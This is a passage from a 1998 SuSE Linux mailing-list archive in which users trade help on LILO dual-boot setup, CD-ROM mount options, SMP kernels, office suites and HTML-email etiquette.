have my linux native partition on the remainder of the drive.  All of this
is below 1024 cylinders, as LILO requires, but then I try to boot with Linux
(SUSE), I get stuck at the L (in LILO).  Now, I have no problems with Redhat
with the same configuration, but with SUSE I have to use a boot disk to
load.

Joe

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Ken Schuller
> Sent: Friday, June 26, 1998 5:19 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>
>
>
> Joseph Beaman wrote:
> > SUSE
> > is more readily configurable in terms of its Windows Managers, etc, but
> > RedHat seems to have fewer difficulties coexisting with other operating
> > systems (like Win95 or WinNT).
>
> Care to elaborate?  I haven't had any difficulties at all-  I'm curious
> about what you're referring to.
>
> Ken
> --
>
> Ken Schuller
>
> Network Systems Specialist
>
> NovaNET Learning, Inc.
>
>  Take out the spam foil to reply via e-mail. 
>
> Incidentally, I speak for me.  That's all.  No one else.
>
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From Stuart@Cyberdude.com Sat Jun 27 01:04:35 1998
From: Stuart@Cyberdude.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] get me out of here!@
Date: Sat, 27 Jun 1998 01:04:35 +0000
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Cher Ng wrote:

> how the hell did i get on this list???? Someone, please unsubscribe me!!!!
>
> cher
>
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  Umm well i see your host spamming on galaxynet all day evry day till you
were globally glined
or a user from your host atleast..

and may i suggest you read the bit at the bottom of this message it explains
how (:

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From schullersite@NOSPAMworldnet.att.net.suse.de Sat Jun 27 01:36:49 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 20:36:49 -0500
Message-ID: <35944CB1.B50F3267@NOSPAMworldnet.att.net>
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Joseph Beaman wrote:
>=20
> Sure,
>=20
> I have windows 95 installed on the first partition of my hard drive.  I am
> using partition magic 3.0, and it's boot manager is installed on the second
> partition. The third partition is my linux swap partition, and finally I
> have my linux native partition on the remainder of the drive.  All of this
> is below 1024 cylinders, as LILO requires, but then I try to boot with Linux
> (SUSE), I get stuck at the L (in LILO).  Now, I have no problems with Redhat
> with the same configuration, but with SUSE I have to use a boot disk to
> load.

No, you don't.  You need to ensure the partition is active, both from
Partition Magic, and from YaST.  Had the same difficulty (I use System
Commander).

Ken

>=20
> Joe
>=20
> > -----Original Message-----
> > From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> > Behalf Of Ken Schuller
> > Sent: Friday, June 26, 1998 5:19 PM
> > To: suse-linux-e(a)suse.com
> > Subject: Re: [S.u.S.E. Linux] thinking about suse
> >
> >
> >
> > Joseph Beaman wrote:
> > > SUSE
> > > is more readily configurable in terms of its Windows Managers, etc, but
> > > RedHat seems to have fewer difficulties coexisting with other operating
> > > systems (like Win95 or WinNT).
> >
> > Care to elaborate?  I haven't had any difficulties at all-  I'm curious
> > about what you're referring to.
> >
> > Ken
> > --
> >
> > Ken Schuller
> >
> > Network Systems Specialist
> >
> > NovaNET Learning, Inc.
> >
> >  Take out the spam foil to reply via e-mail. 
> >
> > Incidentally, I speak for me.  That's all.  No one else.
> >
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From thehaas@binary.net Sat Jun 27 02:19:26 1998
From: thehaas@binary.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Windowmaker Theme
Date: Fri, 26 Jun 1998 21:19:26 -0500
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Danny and myself finally finished the Suse Windowmaker theme . . . check
it out at http://www.binary.net/t=
hehaas/suse-theme.html> .  Any comments
are appreciated.

Also note that SuSE is going to change their logo soon.  The theme will
then be changed accordingly.

- mikeh


--=20
	=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
	||   Mike Hostetler       || email1: thehaas(a)binary.net   ||
	||   Linux User at Large  || email2: mhostetl(a)cse.unl.edu ||
	=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
        || ---------- http://www.binary.net/thehaas> -------=
------ ||
	=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
        ||    "I wear my unprofessionalism as a badge of honor.   ||
        ||  Professionalism has no place in art, and hacking      ||
        ||  is art."                   - Jamie Zawinski           ||=20
	=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From fmiller@lightlink.com Sat Jun 27 02:28:59 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] fstab
Date: Fri, 26 Jun 1998 22:28:59 -0400
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Anyone know how to set the execute rights on a CD in fstab?  The line in
my fstab is currently: /dev/hdc     /cdrom     iso9660   
ro/noauto/user  0   0.

Thanks!

Fred


-- 
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Cornell Univ. Press Services
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fm(a)cupserv.org
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From satan3@home.com Sat Jun 27 02:43:58 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 21:43:58 -0500
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Html email sucks and is an inconvenience to others.  People who send
html to mailing lists are either clueless or selfish.  Most of my mail
browsing is done in netscape, both in linux and win95, but about 1/3 of
the time I take my mail at the console, and I'm sure I'm not the only
unix user out here that enjoys the simple elegance of running from the
command line.  I get a mailing list of game developer .plan files, and
it amazes me how cs types can be so clueless about netiquette because so
many of the posts are in html.  It is a testament to how windows breeds
ignorance,  as well as to the crappy nature of that lists' nt majordomo
server (the list sends out only ascii, so all the posts look like
viewing html with vi :P).  
end rant :)

> Trying to kill the keyboard, hattons(a)CPKWEBSER5.ncr.disa.mil produced:
> 
> > It would appear that you are using an HTML enabled mail client.  For
> > folks without html clients this may come across as garbage.  I hope it
> > doesn't present them with too much consternation.  I say they need to
> > get with the 21st century. :-)  If people do gripe a lot, well I guess
> > I'll get rid of it.
> 
> With the same argument, you are accepting bloated, incompatible M$ word
> files, Office97 and so on! Or are you?
>
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From satan3@home.com Sat Jun 27 02:58:18 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] fstab
Date: Fri, 26 Jun 1998 21:58:18 -0500
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There isn't anything wrong with your fstab entry. 
As root:
chmod 666 /dev/cdrom
(make sure /dev/cdrom is linked to /dev/hdc, it should be, but check)
Then you should have the full access by all users, if that is what you
wanted.

Fred A. Miller wrote:
> 
> Anyone know how to set the execute rights on a CD in fstab?  The line in
> my fstab is currently: /dev/hdc     /cdrom     iso9660
> ro/noauto/user  0   0.
> 
> Thanks!
> 
> Fred
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From hattons@cpkwebser5.ncr.disa.mil Sat Jun 27 03:17:30 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Sat, 27 Jun 1998 03:17:30 +0000
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>>>>>>>>>>>>>>>>>> Original Messsage <<<<<<<<<<<<<<<<<<

On 26/06/98, 22:22:17, Lawrence Sayre  
wrote regarding Re: [S.u.S.E. Linux] What does SuSE stand for?:

> Is StarOffice 4.0 as slow on yours system as on mine?  Granted it 
works
> well, but it takes about a minute just for the opening StarOffice 
screen
> to show up on my system, which has a Matrox Millenium and a Cyrix 
P200+
> processor.  Nothing else is even near as slow.

I just timed the launch of Soffice on my PP200MMX w/128MB RAM and a 
9ms screaming EIDE matrox HD.  It took ~18 seconds.  I had a lot of 
problems with this product when I was using it to write a rather long 
paper. The biggest problem was figuring out how to use it.  The help 
files are rather cryptic.  Another problem I had was with the wysiwyg 
fonts.  I recently applied the sp3 to my install and have not had that 
problem since. There was the dreaded PS/2 bug that seems to have been 
fixed.  Another big PITA was that the indices for TOC, index, and page 
numbering quite often got mixed up. 

There are some nice features in this product.  As a mater of fact I am 
writing this mail with Soffice.  I'm not sold or unsold on it.  I like 
the approach the company uses toward development and support.  They 
are a bit weak on follow-through, at least on the English side.  There 
seems to be no documentation on the product written in English.  The 
cross platform nature of the product is VERY attractive.  I guess one 
can get that with WP as well.  I believe that Applex is also cross 
platform. 

I ran the test version of Applex for a while.  It seemed pretty well 
put together.  The drawing tool was really sweet.  I am not really 
sure where to invest my efforts as far as office suites go in Linux.  
I like Soffice and I hope it continues to grow.  Linux users certainly 
can't beat the price.

Steve

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From leonmcclatchey@homemail.com Sat Jun 27 03:34:21 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 22:34:21 -0500
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Steven T. Hatton wrote:

> I recieved an e-mail back form my registration.  It contained a web
> address and a user key which I used to access my record.  At the top
> of that record I found the image.   I right clicked and saved the
> image. I then used the Netscape Composer to create an HTML file which
> I stored as a signature file (siglinux.txt).  I then pointed my
> Communicator to that file under Edit | Preferences | Mail & Groups |
> Identity.  I found that I need to give an explicit path in the immage
> properties in order to make it work.
>

hmm, for the most part, about the same method I used to create my text
signature, except that was done with vi I believe, (or the internal
editor for midnight commander). BTW, I did get that email also, complete
with the image, but when I reread the message, the message had
disappeared:-(  That was why I was wondering how you got the image.

> It would appear that you are using an HTML enabled mail client.  For
> folks without html clients this may come across as garbage.  I hope it
> doesn't present them with too much consternation.  I say they need to
> get with the 21st century. :-)  If people do gripe a lot, well I guess
> I'll get rid of it.
>

hehe, actually, there have been occasions when I did use pine to read
some of my mail and found myself in a message that contained html and/or
images.  All pine did was to tell me to use v/s to save the file so it
could be viewed with an external viewer.  But I guess that there are
mail readers that aren't even that advanced:-)  Though for the most part
when I do reply or write to the "list" I generally try to send it in
plain text as I have seen a few negative posts about sending html
messages into the list:-(

Thanx, I'll save this message (and forward it to myself so I can read it
the next time I'm on the linux box:-)  (My better half is using it now
to play bingo or whatever:-)


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From hattons@cpkwebser5.ncr.disa.mil Sat Jun 27 03:52:16 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 23:52:16 -0400
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Wolfgang Weisselberg wrote:

> Hi!
>
>  Yes, my mail
> program does cooperate with browsers to show me the crap on request,
> but using HTML as a default (especially when no info is in there that
> could not be conveyed by ASCII) is as useful as driving a 10-ton truck
> all the time, no matter if you are moving or just sightseeing. That's a
> pretty inconvenient way to do things, a Window'ish way, if you ask me!

Wolfgang,

Sometimes I like to use visuals just to have fun.  I guess I am a bit
spoiled I get awesome throughput at work and reasonable throughput at home,
and I have more dirve space than I know what to do with.  I like windows, I
think visually.

 http://www.itol.com/~theling=
/neuschwanstein.html>

Steve

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[Image]  Yo Bill!  Doo-bee, doo-bee, doo.

THE WORD OF GOD IS THE CREATION WE BEHOLD: And it is in this word, which no
human invention can counterfeit or alter, that God speaketh universally to
man. - Thomas Paine,  _The Age of Reason_

[L]et [the charter] be brought forth placed on the divine law, the word of
God; let a crown be placed thereon, by which; the world may know, that so
far as we approve of monarchy, that in America the law is king.  - Thomas
Paine, *Common Sense*, February 14th, 1776

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From subb3@ibm.net Sat Jun 27 03:57:38 1998
From: subb3@ibm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] GPM and /dev/mouse
Date: Fri, 26 Jun 1998 23:57:38 -0400
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I installed GPM on my system. It starts up somewhere in the
initialization scripts.
However, I do not see the cursor when I move the mouse.

Where should I begin to fix this problem?

Thank you.

Subba Rao
subb3(a)ibm.net

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From leonmcclatchey@homemail.com Sat Jun 27 04:00:02 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Fri, 26 Jun 1998 23:00:02 -0500
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TEX wrote:

> I too went to regester and couldn't find out where?  Please, where?
> Thanks.
>

There is a web site at http://counter.li.org> which not only lets you
register yourself and your machine(s).  But will also let you register
friends if that is your pleasure.  In addition, you can browse that site and
find all sorts of interesting statistics:-)  And the estimates that I have
looked at also uses some pretty plausible formulas and bases.  I would
recommend taking a gander at the site whether you register or not:-)


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cya l8r
Leon McClatchey
leonmcclatchey(a)homemail.com
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From arunkhan@xnet.com Sat Jun 27 04:15:26 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Multi-CPU
Date: Fri, 26 Jun 1998 23:15:26 -0500
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> 
> 
> 
> >Does Linux support Multi-CPU?
> >if yes, where can i get more info about
> >Linux and multi-CPU configurations?
> 

To compile SMP kernel, edit /usr/src/linux/Makefile and uncomment the
following lines:

# SMP = 1
# SMP_PROF = 1

These lines are at the begining of the file.

HTH
Arun Khan
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From mwagnon@ixpres.com Sat Jun 27 04:18:00 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: Cable Modem and Linux (was Re: [S.u.S.E. Linux] Diald)
Date: Fri, 26 Jun 1998 21:18:00 -0700
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oops! The site for the archive I mentioned is located at

  http://www.=
ultraviolet.org/mail-archives/kplug-mail.html>
 =20
Sorry about that...

Also, thanks for the info. I think I'll pick up a couple ethernet cards
and do a little experimenting with my modem connection. It's the same
concept right: sharing a cable modem or regular modem over a network?

Thanks,

Mark


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Michael Lankton wrote:
>=20
> Mark Wagnon wrote:
>=20
> > I subscribe to my local LUG's mail list and a lot of these guys have
> > cable modems. They're always posting about security issues and such. You
> > might want to check the site out (http://www.kernel-panic.com>). I
> > believe they just added an archives section of the list.
>=20
> Thanks Mark, I'll go look.
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From fmiller@lightlink.com Sat Jun 27 04:25:08 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] fstab
Date: Sat, 27 Jun 1998 00:25:08 -0400
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No, that isn't what I needed.

Thanks,

Fred

Michael Lankton wrote:
> 
> There isn't anything wrong with your fstab entry.
> As root:
> chmod 666 /dev/cdrom
> (make sure /dev/cdrom is linked to /dev/hdc, it should be, but check)
> Then you should have the full access by all users, if that is what you
> wanted.
> 
> Fred A. Miller wrote:
> >
> > Anyone know how to set the execute rights on a CD in fstab?  The line in
> > my fstab is currently: /dev/hdc     /cdrom     iso9660
> > ro/noauto/user  0   0.
> >
> > Thanks!
> >
> > Fred
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From hattons@cpkwebser5.ncr.disa.mil Sat Jun 27 05:05:31 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sat, 27 Jun 1998 01:05:31 -0400
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Leon McClatchey wrote:

> hmm, for the most part, about the same method I used to create my text
> signature, except that was done with vi I believe, (or the internal
> editor for midnight commander).

 I also used xemacs to touch it up.  IMHO it is a wonderful tool.


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man. - Thomas Paine,  _The Age of Reason_

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From darkway@hotmail.com Sat Jun 27 05:50:15 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Are 'Gigabyte' Motherboards universaly    compatiable
Date: Fri, 26 Jun 1998 22:50:15 -0700
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CPU=3DAMD K6 200 MHz w/mmx
Motherboard=3DM5ATA,Pentium SuperTX=20
cards=3Dawe64(isa) Modem(isa jumperless) Pci=3Dvoodoo2 card ,=20
s3Trio64V2(dx/gx)
harddrives=3DEIDE 1 maxtor 1 western digital
thats aboutit.

>From owner-suse-linux-e(a)suse.com Fri Jun 26 13:30:44 1998
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>In-Reply-To: <19980626192431.7942.qmail(a)hotmail.=
com> from Dark Way at=20
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>> Hello I would like to say first how when installing any linux with=20
pci=20
>> bios access support enabled the system reboots on me.
>
>	Are you using a pentium?  Do you have a special chipset?  Have you=20
tried changing your bios settings to failsafe?
>
>	Have you looked to see if there't a bug fix for your bios?  Have you=20
tried compiling a kernel on a differant machine and porting it to you=20
machine?
>=09
>> So secondly i would like to say i'm concidering buying a new=20
motherboard
>> i found one for my amd K6 200 MHz by a brand "Gigabyte"
>> I would like to know if this motherboard is compatiable or I would be=20
>> wasting my money.
>
>	I used to have a gigabyte motherboard (486DX266 with PCI bus).  I=20
personally feel gigabyte bioses are well supported.  I bought another=20
because I couldn't get a bios upgrade to support EIDE (off board, and I=20
didn't want to by a controller card.  It would have costed the same as a=20
Pentium 133 and board).
>	I think they're cheap, and I probably won't buy another.
>
>	http://www.giga-byte.com>
>	http://www.giga-byte.com.tw>
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>
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From beamanj@novaquest.com Sat Jun 27 06:14:23 1998
From: beamanj@novaquest.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Fri, 26 Jun 1998 23:14:23 -0700
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Actually, that wasn't it either... I just fixed it.  It had to do with the
linear option in LILO.  In Partition magic, only the boot manager partition
should be active--although both the WIn95 (in my case) and linux partitions
need to be marked bootable.

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Ken Schuller
> Sent: Friday, June 26, 1998 6:37 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>
>
>
> Joseph Beaman wrote:
> >
> > Sure,
> >
> > I have windows 95 installed on the first partition of my hard
> drive.  I am
> > using partition magic 3.0, and it's boot manager is installed
> on the second
> > partition. The third partition is my linux swap partition, and finally I
> > have my linux native partition on the remainder of the drive.
> All of this
> > is below 1024 cylinders, as LILO requires, but then I try to
> boot with Linux
> > (SUSE), I get stuck at the L (in LILO).  Now, I have no
> problems with Redhat
> > with the same configuration, but with SUSE I have to use a boot disk to
> > load.
>
> No, you don't.  You need to ensure the partition is active, both from
> Partition Magic, and from YaST.  Had the same difficulty (I use System
> Commander).
>
> Ken
>
>
> >
> > Joe
> >
> > > -----Original Message-----
> > > From: owner-suse-linux-e(a)suse.com
> [mailto:owner-suse-linu=
x-e(a)suse.com]On
> > > Behalf Of Ken Schuller
> > > Sent: Friday, June 26, 1998 5:19 PM
> > > To: suse-linux-e(a)suse.com
> > > Subject: Re: [S.u.S.E. Linux] thinking about suse
> > >
> > >
> > >
> > > Joseph Beaman wrote:
> > > > SUSE
> > > > is more readily configurable in terms of its Windows
> Managers, etc, but
> > > > RedHat seems to have fewer difficulties coexisting with
> other operating
> > > > systems (like Win95 or WinNT).
> > >
> > > Care to elaborate?  I haven't had any difficulties at all-
> I'm curious
> > > about what you're referring to.
> > >
> > > Ken
> > > --
> > >
> > > Ken Schuller
> > >
> > > Network Systems Specialist
> > >
> > > NovaNET Learning, Inc.
> > >
> > >  Take out the spam foil to reply via e-mail. 
> > >
> > > Incidentally, I speak for me.  That's all.  No one else.
> > >
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From brauki@cityweb.de Sat Jun 27 07:42:23 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] fstab
Date: Sat, 27 Jun 1998 09:42:23 +0200
Message-ID: <3594A25F.234590C8@cityweb.de>
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Fred A. Miller wrote:
> 
> Anyone know how to set the execute rights on a CD in fstab?  The line in
> my fstab is currently: /dev/hdc     /cdrom     iso9660
> ro/noauto/user  0   0.
> 
> Thanks!
> 
> Fred
> 

Hello Fred,

The option "user" implies that user may mount a disk and therefor do
nasty thigs to the system. Therefor, the option "noexec" that prohibits
programm execution is aktive too.

You can add "exec" to the list of options, or mount the cd manually as
root
umount /dev/hdc
mount -t iso9660 /dev/hdc /cdrom

the mount options, if questions remain are well described in mounts man
page.

Jürgen


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From hettar@teleport.com Sat Jun 27 07:55:20 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject:
 Re: [S.u.S.E. Linux] Are 'Gigabyte' Motherboards universaly     compatiable
Date: Sat, 27 Jun 1998 00:55:20 -0700
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Dark Way wrote:

> CPU=3DAMD K6 200 MHz w/mmx
> Motherboard=3DM5ATA,Pentium SuperTX
> cards=3Dawe64(isa) Modem(isa jumperless) Pci=3Dvoodoo2 card ,
> s3Trio64V2(dx/gx)
> harddrives=3DEIDE 1 maxtor 1 western digital
> thats aboutit.

I thought I went over this with ya Dark Way on the EFnets IRC SuSE-Linux
channel last night. Your K6 is not the problem, Your Voodoo II is ignored by
linux untill you tell Linux not to ignore it by wat of Mesa and Glide.  Your
AWE64 Sound Blaster will work with either OSS or native compiled module.
Your s3Trio should work... and no problems with your hd..looks ok..

Hubert Mantel said you mainboard(motherboard) was broke??! I dunno about
this, but ya can like try failsafe on the BIOS(cmos)..did ya mess with the bi=
os
at all?  Many mainboard companys have new drivers that fix flash bios's
up that might do your system a bit of good. Have you checked the Kernel
messages at install time under SuSE? (in the gui of the install) I suggest
a straight IDE Kernel..unless ya all scsi hardware..then compile for any
needed features and to get rid of things you just don't need in the standard
SuSE kernel that is installed at first.

I do have some help on compileing a kernel, yes all my ideas after doing my
own compiles from reading several different HOWTOS and such.
http://www.teleport.com/~hettar/linux.htm=
l>
for the AWE-64 try
http://cqi.com/~humbubba/linux/=
AWE-kernhelp.txt>
For all HOWTOS and links galore try
http://sunsite.unc.edu/mdw/>

Welp I will see if your on EFNET, better than efnet
is undernet.org #linux but pls no BitchX nor colors nor spam :)

Steven Udell

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From brian.jones3@virgin.net Sat Jun 27 08:01:31 1998
From: brian.jones3@virgin.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sat, 27 Jun 1998 09:01:31 +0100
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Just some personal opinions.

I have just moved to SuSE 5.2 from RH 5.0. I like both distributions for
different reasons: I guess it depends on your hardware options but I
believe that it would be easier for a newcomer to install RH than SuSE
because the installation process is more linear. SuSE puts you more in
control but requires that you know just a little about what is
happening. The tradeoff, of course, is that any post install tweaks are
very much easier in SuSE. We should be thankful that we can buy
distributions from competitors and move our software between them with
such ease.

My philosophy on buying Linux stuff is to get it from the people with
the right attitude. I switched to SuSE because of their support for KDE.
I believe this has the potential to tempt people across the divide. KDE
always looks crisp, clean and professional, and then once you use it you
find that it is very well integrated. RH are also to be commended on
their adoption of glibc but seem to have got stung for burning CDs a bit
hastily. They are commercial and will no doubt learn from this.

When I apply this to office suites I find myself using StarOffice. It
has glitches but these are being ironed out rapidly and the company,
again, has the right attitude - it acknowledges the help it gets from
the Linux community & rewards us (yes, I realise there is cunning
marketing in there as well).

Finally, there has been a lot of talk about the added value of
purchasing a distribution. I view the extra cost as a subsidy to
SuSE/RH/etc. that allows them to polish the product for more general
consumption. If I get some tech. support then great, if I get a nice
book then great again. Despite it being "free" I will probably spend
more money on Linux than I would on Windows but then Linux is nice
enough to make a hobby out of.

Brian.
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From lsayre@integrityonline13.com Sat Jun 27 12:01:05 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sat, 27 Jun 1998 07:01:05 -0500
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Ken Schuller wrote:
> 
> Joseph Beaman wrote:
> > SUSE
> > is more readily configurable in terms of its Windows Managers, etc, but
> > RedHat seems to have fewer difficulties coexisting with other operating
> > systems (like Win95 or WinNT).
> 
> Care to elaborate?  I haven't had any difficulties at all-  I'm curious
> about what you're referring to.
> 
> Ken
> --
> 
> Ken Schuller
> 
> Network Systems Specialist
> 
> NovaNET Learning, Inc.
> 
>  Take out the spam foil to reply via e-mail. 
> 
> Incidentally, I speak for me.  That's all.  No one else.
> 
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No problems here either, running SuSE Linux 5.2 and Win95 just fine
(except for those blue screen of death things in Win95).  

At one time I had DOS, OS/2, Win95, and SuSE Linux all running on one
machine with no problems, except that I ran out of room on my HD and had
to cut a few out.

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From mantel@suse.de Sat Jun 27 12:01:53 1998
From: mantel@suse.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Multi-CPU
Date: Sat, 27 Jun 1998 14:01:53 +0200
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Hi,

On Fri, 26 Jun 1998, Arun Khan wrote:

> To compile SMP kernel, edit /usr/src/linux/Makefile and uncomment the
> following lines:
> 
> # SMP = 1
> # SMP_PROF = 1

Uncommenting the SMP line is sufficient. The SMP_PROF is for profiling and
will give you some performance penalty.

BTW, remember to rebuild the whole kernel _and_ the modules when switching
from UP to SMP!

> HTH
> Arun Khan

    Hubert

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From mhtexcollins@ccms.net Sat Jun 27 13:39:17 1998
From: mhtexcollins@ccms.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld
Date: Sat, 27 Jun 1998 08:39:17 -0500
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Thanks again.

Juergen Braukmann wrote:
>=20
> TEX wrote:

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From ariggins@home.com Sat Jun 27 16:05:41 1998
From: ariggins@home.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Sat, 27 Jun 1998 09:05:41 -0700
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The arrangement of partitions on hard drives using Win95 and Linux (whatever
distribution) seems to be a problem for lots of people.  I can't claim to be
an expert, but I have one  solution to the problem.  This works with RedHat
and SUSE.  You'll need Partition Magic.  If you don't have version 3.05,
download the upgrade from their web site (it's free):
http://www.powerquest.com>.

Use Partition Magic to setup your drive(s) as follows:
|Boot Manager | Linux root / | Win95 | Logical drives |

All of the Win95 partitions need to be in a chain.  Thus, you will have
Linux partitions at the beginning (after boot manager) and end of your
drive, with Win95 stuff in the middle.  Your root "/" linux partition must
be in the first 2.0 GB section of the primary drive.  Put it before Win95.
The rest of the linux partitions, including the swap, will be at the end.
You will have to figure out how much space to allocate, and how many
partitions, depending on what you want to install.

With Partition Magic it's easy to move things around.  Don't be afraid to
move the Win95 boot partition over to make room for Linux.  Here's how my
two drives are setup:

Drive 0:
| boot manager | Linux root | Windows95 Drive C |

Drive 1:
| Windows 95 Drive D | DOS mount | Linux /usr | Linux swap |

I recommend setting up all the partitions as DOS partitions with Parition
Magic.  Make those you plan to use for Linux "hidden".  Yast will find them.
Go ahead and install the boot manager with only Windows 95.  When you set up
your drives in Linux with Yast, just change the properties of these existing
partitions.  I am using fat 32 for drives C and D, and fat 16 for the DOS
mount partition I use to transfer files between systems.  If you're using
fat16 for everything, then the setup is a bit more complicated.  You can
only have four partitions in the special 2.0GB area of the first drive.
Thus you will have:

| boot manager | Linux root | Windows95 | Extended |

you can then break up the Extended partition to however-many partitions you
need.  Remember that all the Win95 partitions go first, and the Linux
partitions go after, at the end.

It may sound counter-intuitive to arrange partitions this way.  My natural
inclination was to have each operating system in its own separate area.
Unfortunately, this isn't possible.  Both operating systems have to have
their bootable partitions in the first 2.0GB space of the primary drive.
And you have to have all the Win95 partitions on each drive in a single
unbroken "chain".  Thus by default, you have to put Linux at the beginning
and end of the drive, with Win95 in the middle.

When it's time to install LILO, you will have a choice of where to write.
Do NOT let Yast write LILO to the MBR master boot record.  Instead, write
LILO to your Linux root partition "\", (which is in the first 2.0GB area of
the first drive).  Then, restart Partition Magic in DOS, and add the Linux
boot partition to the boot manager menu.

The two most frequent problems I've seen:

Trying to put the bootable Linux root partition somewhere besides the
beginning of the primary drive.

Writing LILO information to the Master Boot Record.

There are undoubtedly many ways to setup and configure a system, and someone
may know of a better way than what I've outlined.  Nevertheless, if you
follow my directions you will be able to set up a dual boot system without
destroying anything.

Note that if you need to reinstall Win95 in the future, it will warn you and
then overwrite your boot manager.  This is not a problem.  You can simply
reinstall boot manager after the re-install is done.

Alan Riggins

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From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
Behalf Of Joseph Beaman
Sent: Friday, June 26, 1998 5:51 PM
To: suse-linux-e(a)suse.com
Subject: RE: [S.u.S.E. Linux] thinking about suse

Sure,

I have windows 95 installed on the first partition of my hard drive.  I am
using partition magic 3.0, and it's boot manager is installed on the second

partition. The third partition is my linux swap partition, and finally I
have my linux native partition on the remainder of the drive.  All of this
is below 1024 cylinders, as LILO requires, but then I try to boot with Linux
(SUSE), I get stuck at the L (in LILO).  Now, I have no problems with Redhat
with the same configuration, but with SUSE I have to use a boot disk to
load.

Joe

> -----Original Message-----
> From: owner-suse-linux-e(a)suse.com [mailto:owner-suse-linux-e(a)suse.com]On
> Behalf Of Ken Schuller
> Sent: Friday, June 26, 1998 5:19 PM
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>
>
>
> Joseph Beaman wrote:
> > SUSE
> > is more readily configurable in terms of its Windows Managers, etc, but
> > RedHat seems to have fewer difficulties coexisting with other operating
> > systems (like Win95 or WinNT).
>
> Care to elaborate?  I haven't had any difficulties at all-  I'm curious
> about what you're referring to.
>
> Ken
> --
>
> Ken Schuller
>
> Network Systems Specialist
>
> NovaNET Learning, Inc.
>
>  Take out the spam foil to reply via e-mail. 
>
> Incidentally, I speak for me.  That's all.  No one else.
>
> Linux-  the best things in life are free! (Or at least GPL'ed...)
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From hattons@cpkwebser5.ncr.disa.mil Sat Jun 27 16:12:09 1998
From: hattons@cpkwebser5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Getting started with X programming
Date: Sat, 27 Jun 1998 12:12:09 -0400
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I am writing a little symbolic logic processor as an intellectual
exercise.  I would like to create a GUI interface to this.  Can anybody
tell me what tools and libs I need in order to create X/motif programs?

TIA,

Steve

